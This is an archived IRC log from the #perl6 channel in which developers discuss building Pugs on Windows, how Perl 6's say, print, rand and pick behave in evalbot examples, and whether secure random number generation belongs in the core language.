lanny @tell audreyt Pugs::Doc::Hack refers to grabbing Bundle::Pugs::SmokeKit rather than Task::Smoke 21:55
lambdabot Consider it noted.
ingy imagines rindolf executing a hostage for each day he fails to release IO::All 21:56
Limbic_Region lanny - if you have any issues, please let me know 21:59
svnbot6 r14375 | lanny++ | * TASKS - remove "runpugs" as task and insert pugs/misc/runpugs/TODO 22:02
22:02 dduncan joined
ingy dang! 22:03
rindolf I just released IO::All 22:04
hope he isn't mad
clkao ingy: rarr! 22:11
lanny Anyone have any experience building pugs on win32 using MinGW and ActiveState? 22:15
@tell Limbic_Region Got MinGW, ActiveState, Subversion, pugs co. Dieing on nmake to build. It tries to use cmd.exe and chokes on a too-long command line. Any suggestions? 22:18
lambdabot Consider it noted.
[particle] lanny: what version of nmake? the old ones (1.* have that problem)
lanny Aha. 1.5 22:19
Seemed to come as part of Activestate Perl. Where do I find a later?
[particle] well, i have 7.10, which came with visual studio 22:20
as far as i know, the only way to get a newer one is to download something like ms visual studio 2005 express and use that one 22:21
i don't know if someone has packaged a recent nmake seperately
lanny ewww
[particle] like i said, i don't know. i haven't had to look for it, you see :)
Limbic_Region lanny - you are using nmake 1.5 22:22
lambdabot Limbic_Region: You have 1 new message. '/msg lambdabot @messages' to read it.
Limbic_Region @messages
lambdabot lanny said 4m 6s ago: Got MinGW, ActiveState, Subversion, pugs co. Dieing on nmake to build. It tries to use cmd.exe and chokes on a too-long command line. Any suggestions?
lanny I am. From Activestate
Limbic_Region that wasn't a question, it was a statement
that's the problem
lanny :)
Limbic_Region hang on, will try and get you something more recent
do you have a feather acct? 22:23
lanny I do
Limbic_Region I will just put it in my home directory with all read access
[particle] the old nmake distos were just two files
nmake.exe and nmake.err
perhaps that'll work with a recent one, too
Limbic_Region lanny - done 22:26
see /home/limbic/nmake.exe
lanny Limbic_Region++
[particle]++ for good measure
Limbic_Region well, gaal++ too since that's who I got it from
[particle] - the executable is standalone so if you know someone who has gone through the trouble of getting it in the large bulky bundle 22:28
then you are all set
[particle] great, you'll leave it there then?
Limbic_Region yes
feel free to tell anyone with a feather acct where they can get it 22:29
but I won't be posting on the web where google can index it
likely frowned upon in general
[particle] :)
which version is it?
Limbic_Region 7 something 22:30
just a sec
[particle] great
Limbic_Region 7.10.3077.0
lanny Ok. Can delete it. Still having troubles with pscp but moved it to my ~ 22:34
Odd. MinGW doesn't want to run pscp but works fine in cmd.exe 22:36
Limbic_Region what is the proper fu to get ls to print out times other than mtime ?
wolverian --time=foo 22:37
I'm not sure if you can make it print more than one time. hm.
anyway, good night :)
Limbic_Region thanks - TTFN
lanny nmake++. Working.
Limbic_Region ;-)
22:39 polettix joined 22:52 weinig|bbl is now known as weinig 23:02 anatolyv left
bsb does a bare say or print still default to $_ these days? 23:06
[particle] i think you need .say or .print but i'm not sure 23:07
bsb that's what I thought (& pugs), but S04 has old style examples
23:17 BooK joined
Limbic_Region ?eval $_ = "blah"; say 23:20
23:20 evalbot_r14373 is now known as evalbot_r14375
evalbot_r14375 OUTPUT[ā¤] Bool::True 23:20
Limbic_Region ?eval $_ = "blah"; .say
evalbot_r14375 OUTPUT[blahā¤] Bool::True
TimToady bsb: not anymore. :)
Limbic_Region it appears pugs' say defaults to empty string though .say does the right thing
TimToady (assuming my ci ever commits...) 23:21
well, say by itself should probably just print a newline. 23:22
and print by itself prints a null string...
on the other hand, it's likely to be a common error.
so for now we could certainly make print fail on 0 args, I expect. 23:23
bsb syntactically, rather than something that evaluates to 0 args 23:25
TimToady could even force people to use print "\n" to print newline instead of empty say.
yeah, syn
not sem
OR we could just make the dwtm
*them 23:26
but I kinda like the .print discipline
pity that .rand can't default to rand(1) 23:27
well, not without setting $_ to 1...
23:28 bsb left, bsb joined
TimToady on the other hand, picking a random int will probably end up with a different idiom: ^$max.pick or some such. 23:28
hmm, that doesn't work 23:29
would have to be (^$max).pick. .ick.
pick ^$max then 23:30
pick 1..100
23:32 jojo joined
TimToady or we could do away with the optional argument to rand and use "int 3*rand" 23:32
jojo 0|3*rand 23:33
TimToady do you mean (0|3)*rand?
jojo i mean 0| instead of int
TimToady I you trying to do a bitwise or? 23:34
*are you
jojo bitwise or with 0 is noop, but the side effect is the same as int()
TimToady but this is #perl6, so it'd have to be 0+| 23:35
jojo ouch
TimToady since bitwise or is now dehuffmanized to +| or ~| or ?|
depending on whether you want numeric or stringwise or boolean.
and | is stolen for junctions 23:36
if $a == 1 | 2 | 3
which will be a lot more common in P6 than bitops.
given case statements look like:
when 1 | 2 | 3 {...} 23:37
anyway, int is a lot clearer, and that's usually better unless you're golfing it. 23:38
bsb (I didn't know p5's ref defaulted to $_, how embarassing...)
lanny ?eval say 5.rand()
evalbot_r14375 OUTPUT[4.305245104898988ā¤] Bool::True
TimToady ?eval say 5.rand.int
evalbot_r14375 OUTPUT[2ā¤] Bool::True
jojo thanks TimToady, that was very understanding 23:39
TimToady ?eval pick ^5 23:40
evalbot_r14375 1.0
TimToady ?eval pick ^100
evalbot_r14375 44.0
TimToady p6's ref defaults to not existing. :) 23:41
jojo don't we need separate methods for repeatable rand and for secure rand? 23:42
TimToady usually that's handled by srand. 23:43
?eval srand 42; pick ^100
evalbot_r14375 71.0
TimToady ?eval srand 42; pick ^100
evalbot_r14375 71.0 23:44
jojo when i strace perl5 srand it reads exactly 32bits from /dev/urandom
TimToady well, there's secure, and then there's secure...
jojo that is nowhere near enough to produce random session keys
lanny Use some library for secure random. rand() is pretty much an int. 23:45
Or open up /dev/u?random and read the number of bits you need.
TimToady "/dev/urandom".slurp :) 23:46
jojo i know how to do it. but i think it is becoming important enough that it ought to be better handled in the core language
lanny heh. Yeah but then you have to wave your mouse around. Or is /dev/random the one with limited entropy? Never can remember.
jojo urandom is the non-blocking one, in linux 23:47
lanny Why handle it in core when libraries work and then you can choose from so many implementations?
jojo same argument as putting random in the kernel 23:48
lanny I'm hoping that $*RANDGEN becomes the default random object. Then anyone you wanted that did Rand could be installed.
jojo even quite good programmers might not be able to tell good random generators from bad ones
TimToady what you want is some kind of interface for requesting a random number generator that is good enough 23:49
jojo so it is one thing arguably better done in core than in cpan
lanny I would hope that even quite good programmers aren't trusting a random generator they don't *know* is good for secure apps though.
TimToady we need CPUs with radium 23:50
lanny And just because it's in core or kernel still doesn't mean it's known good.
jojo radium, exactly, but then we need a path through the kernel into perl 23:51
TimToady heck, just embed the radium directly into Perl...
jojo otherwise you offer the programmer a choice between radium and x^y mod z
lanny Well. Pugs currently uses a linear congruential. 23:52
TimToady false dichotomy if the kernel has any other timed connections to the real world. 23:53
lanny Because it relies on Haskell
TimToady since the real world is known to exhibit quantum indeterminacy from time to time. :)
jojo there are platforms where you can't trust the kernel
lanny How random do you want, jojo? Math::Random::Kiss passes all of DIEHARD and does Rand
jojo but the kernel is the best place for random 23:54
clkao
TimToady grr, monocultures...
TreyHarris ?eval pick 33..77 23:56
evalbot_r14375 Error: pick not defined: VInt 33
TreyHarris what's that mean?
lanny ?eval pick: 33..77
evalbot_r14375 (33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77)
lanny heh
jojo actually, i have built a transistor-junction noise source, for connection to a soundcard
TreyHarris ?eval pick (33..77)
evalbot_r14375 41
jojo and i am handling that totally in userland 23:57
TreyHarris ?eval (pick 33)..77
evalbot_r14375 Error: pick not defined: VInt 33
TreyHarris oh... that's equivalent to (pick 33)..77?
that's... very unintuitive
TimToady pick: goto pick;
jojo but i really think most people will get better results from the kernel
23:59 thepler joined

Powered by Cro and the RakuĀ® Programming Language.

Please report any issues / comments / feature requests as an issue on App::Raku::Log.

Thank you!